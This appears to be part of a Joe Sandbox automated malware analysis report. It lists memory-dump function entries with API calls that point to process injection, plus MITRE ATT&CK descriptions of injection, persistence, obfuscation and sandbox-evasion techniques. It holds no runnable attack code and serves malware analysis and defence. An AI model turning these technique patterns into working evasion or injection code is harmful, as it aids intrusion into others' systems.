Function 04AF3960 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 04AF39DE

Memory Dump Source

Source File: 0000000F.00000002.2966361467.0000000004AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4af0000_f4d805b7c6.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: ecda2a019926c552ac94e5ee99e1e4700a353e70c783602fb85fc89b1fa05cbf
Instruction ID: dc28a1ba0d24fca34dd081ab49db9a26b7bbd8e5b481ec1c336464dbbbf7b0d8
Opcode Fuzzy Hash: ecda2a019926c552ac94e5ee99e1e4700a353e70c783602fb85fc89b1fa05cbf
Instruction Fuzzy Hash: 2B212C719043098FDB10DFAAC8857EEFBF4EF48314F148429D559A7640C778A545CFA5

Function 04AF3BE8 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 04AF3C68

Memory Dump Source

Source File: 0000000F.00000002.2966361467.0000000004AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4af0000_f4d805b7c6.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 37b5f79c6f1eed156da9cc0672499b17372ca19c56aab5149c9e3281963cf417
Instruction ID: 518ff7acbea522382ee6b70330b932ba07f3076b3bc838f00ad17271ba2cc0c8
Opcode Fuzzy Hash: 37b5f79c6f1eed156da9cc0672499b17372ca19c56aab5149c9e3281963cf417
Instruction Fuzzy Hash: B42128B18003499FDB10DFAAC881AEEFBF5FF48310F148429E919A7250D7389555CBA5

Function 04AF3959 Relevance: 1.6, APIs: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 04AF39DE

Memory Dump Source

Source File: 0000000F.00000002.2966361467.0000000004AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4af0000_f4d805b7c6.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 7061d44300be5ca30d6636aefc7990131a985075c55e45d74e1487ea2ae02421
Instruction ID: 4a04fd076ebb017371d6b7ab5971794abb44e1cf284d7b3957175b5d7e41ae74
Opcode Fuzzy Hash: 7061d44300be5ca30d6636aefc7990131a985075c55e45d74e1487ea2ae02421
Instruction Fuzzy Hash: CE2137719003098FEB10DFAAC9857EEBBF4EF88324F14842AD559A7640C778A545CFA5

Function 04AF3A30 Relevance: 1.6, APIs: 1, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 04AF3AA6

Memory Dump Source

Source File: 0000000F.00000002.2966361467.0000000004AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4af0000_f4d805b7c6.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 67ff3329c1271a07eb72d87fad75a1023b5692c39f358979d12ab537295374eb
Instruction ID: e1e542efc4923cfaf4984c9acab3448b5ffa9286036b3c22761185ccd72e73c5
Opcode Fuzzy Hash: 67ff3329c1271a07eb72d87fad75a1023b5692c39f358979d12ab537295374eb
Instruction Fuzzy Hash: 0B1167728002099FDB10DFAAC845ADEBBF5EB88720F248419E915A7250C7359505CBA0

Function 081D7B89 Relevance: 1.6, APIs: 1, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 081D7C03

Memory Dump Source

Source File: 0000000F.00000002.2976531068.00000000081D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_81d0000_f4d805b7c6.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 5052e47f302d54bf77c98fa4264e7f06d035cdc328cf9101e0cf574fbdbd8508
Instruction ID: bf43698ada97fde40e05788339654bffc4d596d02f56069f3b6d472e1d02df84
Opcode Fuzzy Hash: 5052e47f302d54bf77c98fa4264e7f06d035cdc328cf9101e0cf574fbdbd8508
Instruction Fuzzy Hash: 782124759002499FDB10CFAAD444BDEFBF4EF48320F108429E858A7251C378A545CFA5

Function 081EA55C Relevance: 1.6, APIs: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

CreateIconFromResourceEx.USER32(?,?,?,?,?,?,?,?,?,?,081EC6EA,?,?,?,?,?), ref: 081EC78F

Memory Dump Source

Source File: 0000000F.00000002.2976744231.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_81e0000_f4d805b7c6.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: aefc62e0952128ef1b87a3fe02eeedbf9d6585146749221d67e815f9dd98bcd6
Instruction ID: 7676f63c6c456c1add091c86665e9cf13843e1fca0ab81d50f60b0239e788d4a
Opcode Fuzzy Hash: aefc62e0952128ef1b87a3fe02eeedbf9d6585146749221d67e815f9dd98bcd6
Instruction Fuzzy Hash: B11156B5804249DFDB10CF9AC884BDEBFF8EF48320F14841AE954A7250C335A954CFA4

Function 081D7B90 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 081D7C03

Memory Dump Source

Source File: 0000000F.00000002.2976531068.00000000081D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_81d0000_f4d805b7c6.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 92ac79510a82bd0ae7f841fd661cda82e17ff50cb9869d1a11ef02779fcc1e0a
Instruction ID: 277bfdb43a71eaf1b2e6420262f2370ea80fffd146bfdb0dd6c5137ac66ea0d4
Opcode Fuzzy Hash: 92ac79510a82bd0ae7f841fd661cda82e17ff50cb9869d1a11ef02779fcc1e0a
Instruction Fuzzy Hash: 4421F2B59002499FDB10CF9AC984BDEFBF4EB48320F108429E958A7250D378A544CFA5

Function 04AF3A38 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 04AF3AA6

Memory Dump Source

Source File: 0000000F.00000002.2966361467.0000000004AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4af0000_f4d805b7c6.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: da08b29ba91702b4687ba806c2b08025907b450079ea2cb14f9f028e9377f82c
Instruction ID: b8023ad6cb1135fec10b31de527c60f48d98cc8fda09f59b422b7eba2007c78a
Opcode Fuzzy Hash: da08b29ba91702b4687ba806c2b08025907b450079ea2cb14f9f028e9377f82c
Instruction Fuzzy Hash: B41156728002499FDF10DFAAC844BDFBBF5EF88320F148419E915A7250C735A954CFA4

Function 04AF38A8 Relevance: 1.6, APIs: 1, Instructions: 52threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 04AF3912

Memory Dump Source

Source File: 0000000F.00000002.2966361467.0000000004AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4af0000_f4d805b7c6.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 8d8ed0ec908862c1e493a4c3667da5ab02262a26e8278041e82bd61b4c2e1e3a
Instruction ID: 7533fb3109fb3f5c55e94449041ee120da15dbdd836f33776cdf41dc2ea70249
Opcode Fuzzy Hash: 8d8ed0ec908862c1e493a4c3667da5ab02262a26e8278041e82bd61b4c2e1e3a
Instruction Fuzzy Hash: A31188719043498FEB10DFAAC8457EEFBF1EB88320F248419D519A7650C735A545CBA4

Function 04AF38B0 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 04AF3912

Memory Dump Source

Source File: 0000000F.00000002.2966361467.0000000004AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4af0000_f4d805b7c6.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: da105301dbc50cfaad2d8dce163d9e979211ad91fc2ee314e8d55aab51a82ae3
Instruction ID: 72ed7151b64a519b663906449ca76be8dfae1eba4105e186501df39fb8ff3691
Opcode Fuzzy Hash: da105301dbc50cfaad2d8dce163d9e979211ad91fc2ee314e8d55aab51a82ae3
Instruction Fuzzy Hash: E91155B18043498FEB10DFAAC8457AEFBF4EB88720F248419D519A7240CB39A944CBA4

Function 0294E560 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0294E5C6

Memory Dump Source

Source File: 0000000F.00000002.2928729760.0000000002940000.00000040.00000800.00020000.00000000.sdmp, Offset: 02940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2940000_f4d805b7c6.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 373daaec4c066a9ba66cf04ea1fae469722152651556b3ebdb840421a5afd245
Instruction ID: dd1a108e4676d6324c2ca6265a4513bc2aee87ff91b87164305bcd5ba08f6c0e
Opcode Fuzzy Hash: 373daaec4c066a9ba66cf04ea1fae469722152651556b3ebdb840421a5afd245
Instruction Fuzzy Hash: 4B1110B6C003498FDB10CF9AC444ADEFBF8FB88224F10846AD459B7210D779A545CFA5

Function 04AF0684 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 04AF638D

Memory Dump Source

Source File: 0000000F.00000002.2966361467.0000000004AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4af0000_f4d805b7c6.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 9b92ac715b5b876c79e73bdad8db0e7aea9f92ed4e8412f673511e557ad56766
Instruction ID: 301b98b6d3c3a696dbcb8694bd0f2f94a4b8aa36c6d6443e3f6850d136086d78
Opcode Fuzzy Hash: 9b92ac715b5b876c79e73bdad8db0e7aea9f92ed4e8412f673511e557ad56766
Instruction Fuzzy Hash: 941103B5804349DFDB10DF9AC845BDEFBF8EB48720F10841AE658A7200C375A955CFA5

Function 04AF6328 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 04AF638D

Memory Dump Source

Source File: 0000000F.00000002.2966361467.0000000004AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4af0000_f4d805b7c6.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: f2f5ebd629d33e611c32b7a265611411f64a8b856f1360ce9cf87e8b738245f2
Instruction ID: 81ff656fa20c6adada816bfa4331911f60ad23a5194a3836a89b1b90bccb7d22
Opcode Fuzzy Hash: f2f5ebd629d33e611c32b7a265611411f64a8b856f1360ce9cf87e8b738245f2
Instruction Fuzzy Hash: F211F2B6800349DFEB20DF9AC885BDEFBF4EB48310F10841AE559A7600C375A585CFA1

Function 081EA180 Relevance: 1.3, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,081EA5B9,?,?), ref: 081EA760

Memory Dump Source

Source File: 0000000F.00000002.2976744231.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_81e0000_f4d805b7c6.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 62696aac30ff2dfe15977976f83edf6b5eb0d7f5f5e15679ef964a8f733c2d06
Instruction ID: 7257c744e55492928a55d2e0b23f21378add243debb91f1f7275fb8bae8f3c24
Opcode Fuzzy Hash: 62696aac30ff2dfe15977976f83edf6b5eb0d7f5f5e15679ef964a8f733c2d06
Instruction Fuzzy Hash: 261143B5804709CFDB10DF9AC484BDEBBF4EF48320F108459E558A7240C339A944CFA5

Function 081EA700 Relevance: 1.3, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,081EA5B9,?,?), ref: 081EA760

Memory Dump Source

Source File: 0000000F.00000002.2976744231.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_81e0000_f4d805b7c6.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: ab84bfee8c9527ac5ed5d453028333eb025b1d830e8902ae8429042f1b6be643
Instruction ID: f997a00d473bcdd144869fde14acd780866718ce4860771353e5509323f340ca
Opcode Fuzzy Hash: ab84bfee8c9527ac5ed5d453028333eb025b1d830e8902ae8429042f1b6be643
Instruction Fuzzy Hash: E61132B58047498FDB10CFAAC484BDEBFF4EF48320F24846AE558A7241C339A584CBA5

Function 0109D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2927387246.000000000109D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0109D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_109d000_f4d805b7c6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d74147a0303bf8ddf09a81685f7c390d3aa1125849deb08708c09ba0980a316d
Instruction ID: a9d761706d17ab937799e8999da794e3adc95dd17bd5423739521f5abf45cce4
Opcode Fuzzy Hash: d74147a0303bf8ddf09a81685f7c390d3aa1125849deb08708c09ba0980a316d
Instruction Fuzzy Hash: 19214571540200DFDF01DF58D9D0B2ABFA1FB88318F20C5ADE9490B256C336D446DBA1

Function 010AD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2927713436.00000000010AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_10ad000_f4d805b7c6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a92e6c54cdf4bb7f2044dfb9c3c46b293d4f735c35f5d6dfe964d51104cd442a
Instruction ID: 028ae51b9ae0929ad774156a124b1b0cbead362c685a26841dcce67a98ab8862
Opcode Fuzzy Hash: a92e6c54cdf4bb7f2044dfb9c3c46b293d4f735c35f5d6dfe964d51104cd442a
Instruction Fuzzy Hash: C8212271644200DFDB15DFA4D980F16BBA1EB88314F60C5ADE98A4B692C33AD447CB61

Function 010AD1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2927713436.00000000010AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_10ad000_f4d805b7c6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5df4f2ebe8ab133ac57275c78687e66bda032802d5f0917e557c01146c57204a
Instruction ID: 8f2ab6cd2410ca51885319f71ca1406fb8a0e92add1a9d605fc3ecfd768e2711
Opcode Fuzzy Hash: 5df4f2ebe8ab133ac57275c78687e66bda032802d5f0917e557c01146c57204a
Instruction Fuzzy Hash: CC212671504204EFDB05DFD4D9C0F2ABBA5FB94324F60C6ADE9894B692C33AD846CB61

Function 010AD006 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2927713436.00000000010AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_10ad000_f4d805b7c6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d327a0d69d4b5b888edb16057bdf23cd1d6e2d99be1204f5a823f293a32a1669
Instruction ID: a22b55e515bb0b610cd47f4658754088208a249955da18bc83a621f966594ead
Opcode Fuzzy Hash: d327a0d69d4b5b888edb16057bdf23cd1d6e2d99be1204f5a823f293a32a1669
Instruction Fuzzy Hash: BF2180755483809FCB02CF64D994B11BFB1EB46214F28C5DAD8898F6A7C33A9816CB62

Function 0109D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2927387246.000000000109D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0109D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_109d000_f4d805b7c6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 347ceff61f71c01d8d79cfdbd8358f6f0be4c31f492294fd5b1d002aa0560fbf
Instruction ID: 36825d2a9d5fcc0359cba6553e6fb208303267e8729a3ec38c6941f616575f70
Opcode Fuzzy Hash: 347ceff61f71c01d8d79cfdbd8358f6f0be4c31f492294fd5b1d002aa0560fbf
Instruction Fuzzy Hash: 8611CD76404280CFCF02CF54D5D0B16BFA1FB84218F2486A9D8490B256C33AD456DBA1

Function 010AD1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2927713436.00000000010AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_10ad000_f4d805b7c6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5dd070f47a673dda7babee824c8441981cc2d376d27ad6ac8e2bf7ef2f1688d
Instruction ID: d998f5b17f777f3256829c43accaccfe87608e99a9460d29b751f4c3855abb13
Opcode Fuzzy Hash: f5dd070f47a673dda7babee824c8441981cc2d376d27ad6ac8e2bf7ef2f1688d
Instruction Fuzzy Hash: EF11BB75504280DFCB02CF94C5C4B15BBA1FB84224F24C6A9D8894B6A6C33AD40ACB61

Function 0109D745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2927387246.000000000109D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0109D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_109d000_f4d805b7c6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4b76e60027fba89d6082b9484209ce5a11d5d5dd8bc3d0484c462a8343c6ee1
Instruction ID: f2c7391b8b30f4154d5da8b2262dd19efdbfbc9325b2c7206cf93d47fc454cc6
Opcode Fuzzy Hash: c4b76e60027fba89d6082b9484209ce5a11d5d5dd8bc3d0484c462a8343c6ee1
Instruction Fuzzy Hash: EF0147310083809AFB104AA9CD94B2FFFD8FF41220F08C55AEE480F282E238C441DBB1

Function 0109D744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2927387246.000000000109D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0109D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_109d000_f4d805b7c6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5c1eb27cf9e4ce461a68d95aa626fdd8296c500083e70fc2714e1183644db49
Instruction ID: d87fc3615385bcb1c6cfb59cdec58253aad28ebdebf0dbb94c69c0146b1ac205
Opcode Fuzzy Hash: b5c1eb27cf9e4ce461a68d95aa626fdd8296c500083e70fc2714e1183644db49
Instruction Fuzzy Hash: A1F0C2710043849AFB108E5AD884B66FFD8FB81634F18C09AED484F286D2799844CBB1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system. References to various COM objects are stored in the Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
